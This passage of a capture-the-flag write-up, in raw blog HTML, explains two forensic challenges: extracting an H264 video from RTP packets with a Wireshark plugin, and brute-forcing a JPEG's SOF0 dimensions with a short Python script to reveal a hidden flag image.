url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB8klEQVQoz5WQSU9TYRSG71LRnUYwirowRGKMf0sTjaCJmKiIotHgsPAPCBgNssClojjQ4d7S8balc0tbOjAVW5BWDMbHc79q0xgWujg5Q873nud7tZNneuk520336W4O93Rx5FQnx6U+1nuUgycO0HFoD/s696rY39Wh4k+/W2j9w0P0jdzk4oMbnL87wKWRQS7cv676K0/uMPD0nsrW/NzwVdm5Rt/DW20xSP+jIS4/vq2yFsh/xZ2qYeYbkqukKqDHKkSXfhAp75CtwdI2pGVuDy/jTlYx4hU86RrezIaqw8VtMl+gWAfNGV/GFi2hJ1f5PF/ALG7xIZjDm6thpFYxS1uIhppP+9J8Ci/y1ptkxsyqvTdSe3JV5le+E1vbQdMTK8y2BIsES3VZzOPLy/XUmvQN0huoeVOwoLIl9jFkiacIyDH5JIn1n2ijuoPnbhcvvG7G5wwmwyZjhpMJ089Ln0f1rxMxJkMmo04H4y6DZw47Y7pT9nSpbbwKBpiKR5iKRdAMIbNHy4pmNlJURE3CTVxiXKjcQKwiJPNpX2YXwjSBghBWfxNagg7x0XpseWkJWo/8i5vMZdZF8FtTUIRnAlk5WuJ9YEF5aVn0zr+g/G0JuhRZqUn4l4fthMH/IbTJl5uEZfW1fyMstBHWW4K/AHb6fu0H40/aAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/e7c73309970f2d9dab15704cb0afc53d/8ac56/image-20240621233633007.webp 240w,\n/static/e7c73309970f2d9dab15704cb0afc53d/d3be9/image-20240621233633007.webp 480w,\n/static/e7c73309970f2d9dab15704cb0afc53d/e46b2/image-20240621233633007.webp 960w,\n/static/e7c73309970f2d9dab15704cb0afc53d/b3ed6/image-20240621233633007.webp 1391w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/e7c73309970f2d9dab15704cb0afc53d/8ff5a/image-20240621233633007.png 240w,\n/static/e7c73309970f2d9dab15704cb0afc53d/e85cb/image-20240621233633007.png 480w,\n/static/e7c73309970f2d9dab15704cb0afc53d/d9199/image-20240621233633007.png 960w,\n/static/e7c73309970f2d9dab15704cb0afc53d/6774c/image-20240621233633007.png 1391w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/e7c73309970f2d9dab15704cb0afc53d/d9199/image-20240621233633007.png\"\n            alt=\"image-20240621233633007\"\n            title=\"image-20240621233633007\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>To extract the video from there, I used the following <code class=\"language-text\">h264extractor</code> plugin.</p>\n<p>Reference: <a href=\"https://github.com/volvet/h264extractor\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">volvet/h264extractor: wireshark plugin to extract h264 or opus stream from rtp packets</a></p>\n<p>Reference: <a href=\"https://qiita.com/izuki_y/items/9cc20b3810711f1e94e7\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Initial setup for using Lua scripts in Wireshark #Wireshark - Qiita</a></p>\n<p>In the current version of Wireshark, it seems that you can use the plugin just by placing its Lua file in the <code class=\"language-text\">plugins</code> folder.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 772px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/d12a1d1975e491b99615231417b172ec/940c5/image-20240622003237063.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 25.416666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAwElEQVQY011Pyw6DMAzjP2jpC8pooUiUbafdpv3/H3lNUBHbIYpju4nbPPcJ4zhhGDzWdS34hhgj5nkueERKiecQAtq2Rdd1kEJASHng0q/VkMkPFo/7CiEOk9aaizAtzVvmA0opXuycY817D2MM87UapTTSEvB5vzCFWBItJe1wGrwfsW0bcs68iNLu+46+7yE7yTrx5KUQnFAbC2MdC2S8XiUTzdbaMznN1UOduJ+FzvX8BSJrr4+v3/mvq17xF/0FjKgQaTGCAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/d12a1d1975e491b99615231417b172ec/8ac56/image-20240622003237063.webp 240w,\n/static/d12a1d1975e491b99615231417b172ec/d3be9/image-20240622003237063.webp 480w,\n/static/d12a1d1975e491b99615231417b172ec/ca172/image-20240622003237063.webp 772w\"\n              sizes=\"(max-width: 772px) 100vw, 772px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/d12a1d1975e491b99615231417b172ec/8ff5a/image-20240622003237063.png 240w,\n/static/d12a1d1975e491b99615231417b172ec/e85cb/image-20240622003237063.png 480w,\n/static/d12a1d1975e491b99615231417b172ec/940c5/image-20240622003237063.png 772w\"\n            sizes=\"(max-width: 772px) 100vw, 772px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/d12a1d1975e491b99615231417b172ec/940c5/image-20240622003237063.png\"\n            alt=\"image-20240622003237063\"\n            title=\"image-20240622003237063\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Using this plugin, I extracted the H264 file, converted it to mp4, and played the video to get the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/99ae81bc8c787ad4ab3bf82e928c419e/9ba38/image-20240622003102230.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 50%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACb0lEQVQozyWSSWsUURSF+48E/ANCFlm5ch1REMlCCS5EIzisjOBKcaXZKiLZKIIIKoKKEpQQMpnEpOdOuoauruquejV3V2dUIkk+bycPDpda1HfOeffllpbnmF2YZmVlnmJhkVJpiULxF3M/v7G6tEC1UsbQNRynhesplO8TRiFRHBImEX4aEWQdDo+O6J/can6RmdkplpdnKZVXKVaKlCsVNjQd3TSxbQdPQEEQE4SJwGQmKZEoTBNUN0YJ8N/BwQnw3avnTE484M2TcWY+v6cqoPVjWIOm40qq4BgUxx2BZJKqI6lSUYZKO6hOgiPa3t8/AU6MX+PFw7tM3r/B1NvXlPQmVZFhezhuJBUlVdIj6WwSd7eJuv2ZSc0eXpYdy05junu79EvnHt26zNM7o3x4+Yy1Yo38hknFdFm3fIx2SEulqHATFfVoh6kooeH6NJTCEGlem7pqE+9ssX94SG7s4jD3Rkf48vET+ZrG3Eqe+bUqyxWN1ZpBsd6g3uwbtNEdD73liZGPKVNrudSaNnW3jeplkvCI3OOxK9y8dJ6v339QMWxKmkWl0aLekgRejBV0aMdSr7srC9iSitv42Z5U3iXo9HC7PRqyKCOSbe/vkrtwZpCzQ4NMz/+mbFqUDUtcXTYcJc4RZpDSijLcZAs33cROurSSbfkWWNw3S2kGEZofEP/dI3f61ClGhs+xVq5TM06AVUm4Ycv9tAMMP6URJNiRgATQBzpxH9bFE5gTJZh+iC5PK/2zQ25oYIDbV69TqtsU1k0KUrms92s7lOXeapJ0XcCaKz+J6ipGF1kqwvJ8LFmQ6XrULBu12eM/Cqe4sKzhWXMAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/99ae81bc8c787ad4ab3bf82e928c419e/8ac56/image-20240622003102230.webp 240w,\n/static/99ae81bc8c787ad4ab3bf82e928c419e/d3be9/image-20240622003102230.webp 480w,\n/static/99ae81bc8c787ad4ab3bf82e928c419e/e46b2/image-20240622003102230.webp 960w,\n/static/99ae81bc8c787ad4ab3bf82e928c419e/11f77/image-20240622003102230.webp 1329w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/99ae81bc8c787ad4ab3bf82e928c419e/8ff5a/image-20240622003102230.png 240w,\n/static/99ae81bc8c787ad4ab3bf82e928c419e/e85cb/image-20240622003102230.png 480w,\n/static/99ae81bc8c787ad4ab3bf82e928c419e/d9199/image-20240622003102230.png 960w,\n/static/99ae81bc8c787ad4ab3bf82e928c419e/9ba38/image-20240622003102230.png 1329w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/99ae81bc8c787ad4ab3bf82e928c419e/d9199/image-20240622003102230.png\"\n            alt=\"image-20240622003102230\"\n            title=\"image-20240622003102230\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"tiny-10pxforensic\" style=\"position:relative;\"><a href=\"#tiny-10pxforensic\" aria-label=\"tiny 10pxforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>tiny 10px(Forensic)</h2>\n<blockquote>\n<p>The world is small\nWhat a small world!</p>\n</blockquote>\n<p>The challenge file was a 10px-by-10px jpg, and it looked like a typical SOF0-manipulation problem.</p>\n<p>I adjusted the size more or less arbitrarily with the following script.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">def</span> <span class=\"token function\">modify_sof0_segment</span><span class=\"token punctuation\">(</span>jpeg_path<span class=\"token punctuation\">,</span> new_width<span class=\"token punctuation\">,</span> new_height<span class=\"token punctuation\">,</span> n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>jpeg_path<span class=\"token punctuation\">,</span> <span class=\"token string\">\"rb\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> <span class=\"token builtin\">file</span><span class=\"token punctuation\">:</span>\n        jpeg_data <span class=\"token operator\">=</span> <span class=\"token builtin\">bytearray</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">file</span><span class=\"token punctuation\">.</span>read<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n    <span class=\"token comment\"># SOF0セグメントの位置を検索</span>\n    sof0_marker <span class=\"token operator\">=</span> <span class=\"token string\">b'\\xff\\xc0'</span>\n    sof0_start <span class=\"token operator\">=</span> jpeg_data<span class=\"token punctuation\">.</span>find<span class=\"token punctuation\">(</span>sof0_marker<span class=\"token punctuation\">)</span>\n\n    <span class=\"token comment\"># SOF0セグメントのパラメータの位置を検索して表示</span>\n    parameter_start <span class=\"token operator\">=</span> sof0_start <span class=\"token operator\">+</span> <span class=\"token number\">5</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Original SOF0 width : {}\"</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">.</span>from_bytes<span class=\"token punctuation\">(</span>jpeg_data<span class=\"token punctuation\">[</span>parameter_start<span class=\"token punctuation\">:</span>parameter_start <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token string\">\"big\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Original SOF0 height : {}\"</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">.</span>from_bytes<span class=\"token punctuation\">(</span>jpeg_data<span class=\"token punctuation\">[</span>parameter_start <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">:</span>parameter_start <span class=\"token operator\">+</span> <span class=\"token number\">4</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token string\">\"big\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n    <span class=\"token comment\"># 新しい幅と高さをバイト列に変換</span>\n    new_width_bytes <span class=\"token operator\">=</span> new_width<span class=\"token punctuation\">.</span>to_bytes<span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> byteorder<span class=\"token operator\">=</span><span class=\"token string\">'big'</span><span class=\"token punctuation\">)</span>\n    new_height_bytes <span class=\"token operator\">=</span> new_height<span class=\"token punctuation\">.</span>to_bytes<span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> byteorder<span class=\"token operator\">=</span><span class=\"token string\">'big'</span><span class=\"token punctuation\">)</span>\n\n    <span class=\"token comment\"># 幅と高さを置き換える</span>\n    jpeg_data<span class=\"token punctuation\">[</span>parameter_start<span class=\"token punctuation\">:</span>parameter_start <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> new_width_bytes\n    jpeg_data<span class=\"token punctuation\">[</span>parameter_start <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">:</span>parameter_start <span class=\"token operator\">+</span> <span class=\"token number\">4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> new_height_bytes\n\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"New SOF0 width : {}\"</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">.</span>from_bytes<span class=\"token punctuation\">(</span>jpeg_data<span class=\"token punctuation\">[</span>parameter_start<span class=\"token punctuation\">:</span>parameter_start <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token string\">\"big\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"New SOF0 height : {}\"</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">.</span>from_bytes<span class=\"token punctuation\">(</span>jpeg_data<span class=\"token punctuation\">[</span>parameter_start <span class=\"token operator\">+</span> <span class=\"token number\">2</span><span class=\"token punctuation\">:</span>parameter_start <span class=\"token operator\">+</span> <span class=\"token number\">4</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token string\">\"big\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n    <span class=\"token comment\"># 変更後のJPEGファイルを保存</span>\n    <span class=\"token comment\"># modified_jpeg_path = \"modified.jpg\"</span>\n    modified_jpeg_path <span class=\"token operator\">=</span> <span class=\"token string-interpolation\"><span class=\"token string\">f\"./out/modified_</span><span class=\"token interpolation\"><span class=\"token punctuation\">{</span>n<span class=\"token punctuation\">}</span></span><span class=\"token string\">.jpg\"</span></span>\n    <span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>modified_jpeg_path<span class=\"token punctuation\">,</span> <span class=\"token string\">\"wb\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> <span class=\"token builtin\">file</span><span class=\"token punctuation\">:</span>\n        <span class=\"token builtin\">file</span><span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span>jpeg_data<span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"==> Saved new JPEG\"</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># 使用例</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span><span class=\"token number\">10000</span><span class=\"token punctuation\">,</span><span class=\"token number\">5</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    jpeg_path <span class=\"token operator\">=</span> <span class=\"token string\">\"chal_tiny_10px.jpg\"</span>\n    new_width <span class=\"token operator\">=</span> <span class=\"token number\">20</span>\n    new_height <span class=\"token operator\">=</span> i\n    modify_sof0_segment<span class=\"token punctuation\">(</span>jpeg_path<span class=\"token punctuation\">,</span> new_width<span class=\"token punctuation\">,</span> new_height<span class=\"token punctuation\">,</span> i<span class=\"token punctuation\">)</span></code></pre></div>\n<p>However, I could not find any image where the height and width landed in just the right place.</p>\n<p>So I decided to crop out the parts of the generated images that looked like the flag characters and stitch them together.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/23581c76fe2c72c2a446c61f436d4062/fe9e8/image-20240622121856808.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 13.333333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAxUlEQVQI142MsWrCUAAA/Uw3J2eHLoIO1U4O4h/YzUEEwaGDgrSgsaGktpBgTZQ8q1g1JsbXaIs1uerk6sFtx8U0a439ZmEOZojBJ8IQjHRBf7gi+D0S+JKFouH0Db4+Jgj1HfvpmUXvFUOfolountxzJgxDYnfZKvl0hdtUmWKiQCmeI3lT4z6eYed4bE5a9Rb2o4bZ1Rm3Xxg3FcyHDqpi0tCWzNfyMvyTAf5PyHa7R7oSz9/hfB84eP6pOHIt51kURfwDOMfXNWfnrkoAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/23581c76fe2c72c2a446c61f436d4062/8ac56/image-20240622121856808.webp 240w,\n/static/23581c76fe2c72c2a446c61f436d4062/d3be9/image-20240622121856808.webp 480w,\n/static/23581c76fe2c72c2a446c61f436d4062/e46b2/image-20240622121856808.webp 960w,\n/static/23581c76fe2c72c2a446c61f436d4062/b28d4/image-20240622121856808.webp 1146w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/23581c76fe2c72c2a446c61f436d4062/8ff5a/image-20240622121856808.png 240w,\n/static/23581c76fe2c72c2a446c61f436d4062/e85cb/image-20240622121856808.png 480w,\n/static/23581c76fe2c72c2a446c61f436d4062/d9199/image-20240622121856808.png 960w,\n/static/23581c76fe2c72c2a446c61f436d4062/fe9e8/image-20240622121856808.png 1146w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/23581c76fe2c72c2a446c61f436d4062/d9199/image-20240622121856808.png\"\n            alt=\"image-20240622121856808\"\n            title=\"image-20240622121856808\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>I could not infer the flag from there myself, but a teammate identified it quickly.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 501px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/8ffca216b55347a697a3191305746ea9/55811/image-20240622121850513.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 117.91666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAYAAAD6S912AAAACXBIWXMAAAsTAAALEwEAmpwYAAADrUlEQVQ4y6WV208cVRzH9w/xqbGhtHuZ3bnuZWbvyy4L7rILVNqgJfahxaixWqJNY6rWPtn4oCIUsbFNUNOYvlQTQ6JpSG0aY0x8aG0iEiggyC6yYK3U2I9nBgr1ksjiJN/MOTu//eR3Pccluf14VR2lmEAuxdEyUaLRNGY8g6wG8UkyXr+KLyAkKWvyr7/FN8mW2PtlAymg4zJNk4AaoaXUTaa5k2hTO7nCPsqFLuKJVuRQhqAew9BiqOEMmpAeTKKG0qhmFiWSJSDWfgGTBNTl8cjCMElb91GaO48Q29tHubuPxwoHKbX1Uug5Tk9HL92lQ5QOvkTnE8fp2v8cHT3HKPeepO3wKVJdR4TXquOla49XJt9SZHzie1ZWKtQWZ6lVpplbXqS6tEClOsf8UoW5WpWqWFcWhX7+idmZKaYmxqnMz3L5i8/x+NbCdu1q9LG3+wBT39xk+Nw1zn34FW+OzvDlwEUufXCF0ZHLXDk/ytjZT/nkwjUunh/jo5GrVCu/cP8Z/2ECr6Q+AHy8h68vjfHs0Y85/dQALz4/wrFn3ueF3nd5reMVXi2d4I3003QdHuHQgX4u5HtZml3g3jrwxnc3N4GNe/yU2x+lsrTC4p17LNduU6suM7P8OzPVX5mcX+bH6QqTczXGF+4wtXCb1ckp/ri7ym+rdx3g9es3HgRKtHfu4/88t25Nb+bQ7rFoIsPb/YMMDZ9lcOg9Bs8M85bY27/9/W2rv3+A/nfs9QBnhoY58fLJTQ+9bgVZCRERrRM0YuiahdersGPnbh5ucLOzwfMvcv9l3dDo3WxsvZBCMsREWCF8sTD+pIliWoTCcdHAUTEtoS0o6MAcD099O0yo2ESkNUus3II/bSGL6TFCYjIMc8Pwv7QB1IpJtJBFzEoTFQpI4qOkic5f033jrYJdPrdKQBYh+zQ8IneSX/8HYKuwtdFr9ONTxSZjIeUsAjGToAjXzl+9MAcYFfnyq2HShQLxlhayhTZSqTyqFtmWl67dXskxDtjV0sIoRgRZD68bBOsPue+z19FbU8it4oAtCIki6ekkETPlVLrukLtOP4mRSJBNF0gl8uSyJRKJLG6fvAGrq8o7HtrltIcnbOCOGngNcR2InGqGtb2ihEMi+VoIs9hMuJglmm8WR38ORY9sD6hpBqr4c1JAsk0Fp8LJTB4rJu4MUaS6gXa49jw25R6h3LmfXL6NsJkkmW5GEZ7XDXRaRgkKSAIrbt9olnO22cfRg0XZKvBPXGPGjE0Z1jEAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/8ffca216b55347a697a3191305746ea9/8ac56/image-20240622121850513.webp 240w,\n/static/8ffca216b55347a697a3191305746ea9/d3be9/image-20240622121850513.webp 480w,\n/static/8ffca216b55347a697a3191305746ea9/52d01/image-20240622121850513.webp 501w\"\n              sizes=\"(max-width: 501px) 100vw, 501px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/8ffca216b55347a697a3191305746ea9/8ff5a/image-20240622121850513.png 240w,\n/static/8ffca216b55347a697a3191305746ea9/e85cb/image-20240622121850513.png 480w,\n/static/8ffca216b55347a697a3191305746ea9/55811/image-20240622121850513.png 501w\"\n            sizes=\"(max-width: 501px) 100vw, 501px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/8ffca216b55347a697a3191305746ea9/55811/image-20240622121850513.png\"\n            alt=\"image-20240622121850513\"\n            title=\"image-20240622121850513\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Reference: <a href=\"https://cyberhacktics.com/hiding-information-by-changing-an-images-height/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Hiding Information by Manipulating an Image’s Height</a></p>\n<p>I later realized that keeping the original square aspect ratio was apparently important. After slightly modifying the script above to brute-force square images, I was able to read the flag clearly when the image became 155 px on a side.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 738px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/922e68b11ca73651d4bcfb9147a07088/774b6/image-20240623225714467.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 93.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAACnElEQVQ4y51UO2/TUBj1b6BAIMR2HnYS56U0iZ2XHdtxkzRpClSq1EqoA0JFTAixVKIqQkiMSEiVOsBYMSAxVbCUkYGNn8HOxna43yU3TZ20IIaj+/ruud9377lH2tjcwmg0RK/fg5HNIpfLIcvafD4P3/cRBAEcx0GpVITruigUCjAMg60XYNs2NC0FRVGgqiqH5HV7aDTqqNWqKLJgTdP4hkwmg3g8zg9Ip9PQdZ2D1hOJBCehderTXDKZ5GPJ9QOYZg2WZaFYLPJNlCER0onUplKp6SZBSGsiMyISkAajdXRZaZ1OB3IsxoNkWeagYGrFHLUCosTwnNQfjuF7HlqtFtSZwL9BCcVOCR3XR7VaYaj+OemSTf9EGPRX+SvadptnqIQCpuXK7DroGhT5LC5UOiccju+g2/U5qXpBhpqmI6mloSY1qAmNxcQvjJW8oIdms8Fe2lxQhow4I9l89h47r79idHACZ/8LjOYIcjQClb3qHCHJhiRTr9dnCCflUompNHaeHmNv/wSPHxzh4d4nWN0NRG9cW0y4OpEN/QIh2GmWdHeM8MXBMT68+og3T97i5bvvcNe2cPP6Vaa7xDwhycZxbLSZbEjAQn+iZDWl49HhNxye/sTR5x94fvoL5vAeopElluECwg6TzfJymcuGfkJYtLTJCLZRGu/CGNxHcbQLPV9hn+DWYtmsDIZot9sc9K1Ehudkw+4rFrnCsMRbQaYslM36Xf5TXPb1ZgnPbaDSZnGZsMlt6uyVLcucK/l/wAhXYNZqTDYWf+WwCYQhjCPcP5PN2m14nstk0+HeJzyOMGtLYkxKIH+kMfXJ7qgy6tMcty+yLnoUemkKJpAPkjuTR9JBNKaWxpVKhY2z3FTK5TL3z8LEnH8D7a4542KlkHQAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/922e68b11ca73651d4bcfb9147a07088/8ac56/image-20240623225714467.webp 240w,\n/static/922e68b11ca73651d4bcfb9147a07088/d3be9/image-20240623225714467.webp 480w,\n/static/922e68b11ca73651d4bcfb9147a07088/65afa/image-20240623225714467.webp 738w\"\n              sizes=\"(max-width: 738px) 100vw, 738px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/922e68b11ca73651d4bcfb9147a07088/8ff5a/image-20240623225714467.png 240w,\n/static/922e68b11ca73651d4bcfb9147a07088/e85cb/image-20240623225714467.png 480w,\n/static/922e68b11ca73651d4bcfb9147a07088/774b6/image-20240623225714467.png 738w\"\n            sizes=\"(max-width: 738px) 100vw, 738px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/922e68b11ca73651d4bcfb9147a07088/774b6/image-20240623225714467.png\"\n            alt=\"image-20240623225714467\"\n            title=\"image-20240623225714467\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"shmisc\" style=\"position:relative;\"><a href=\"#shmisc\" aria-label=\"shmisc permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 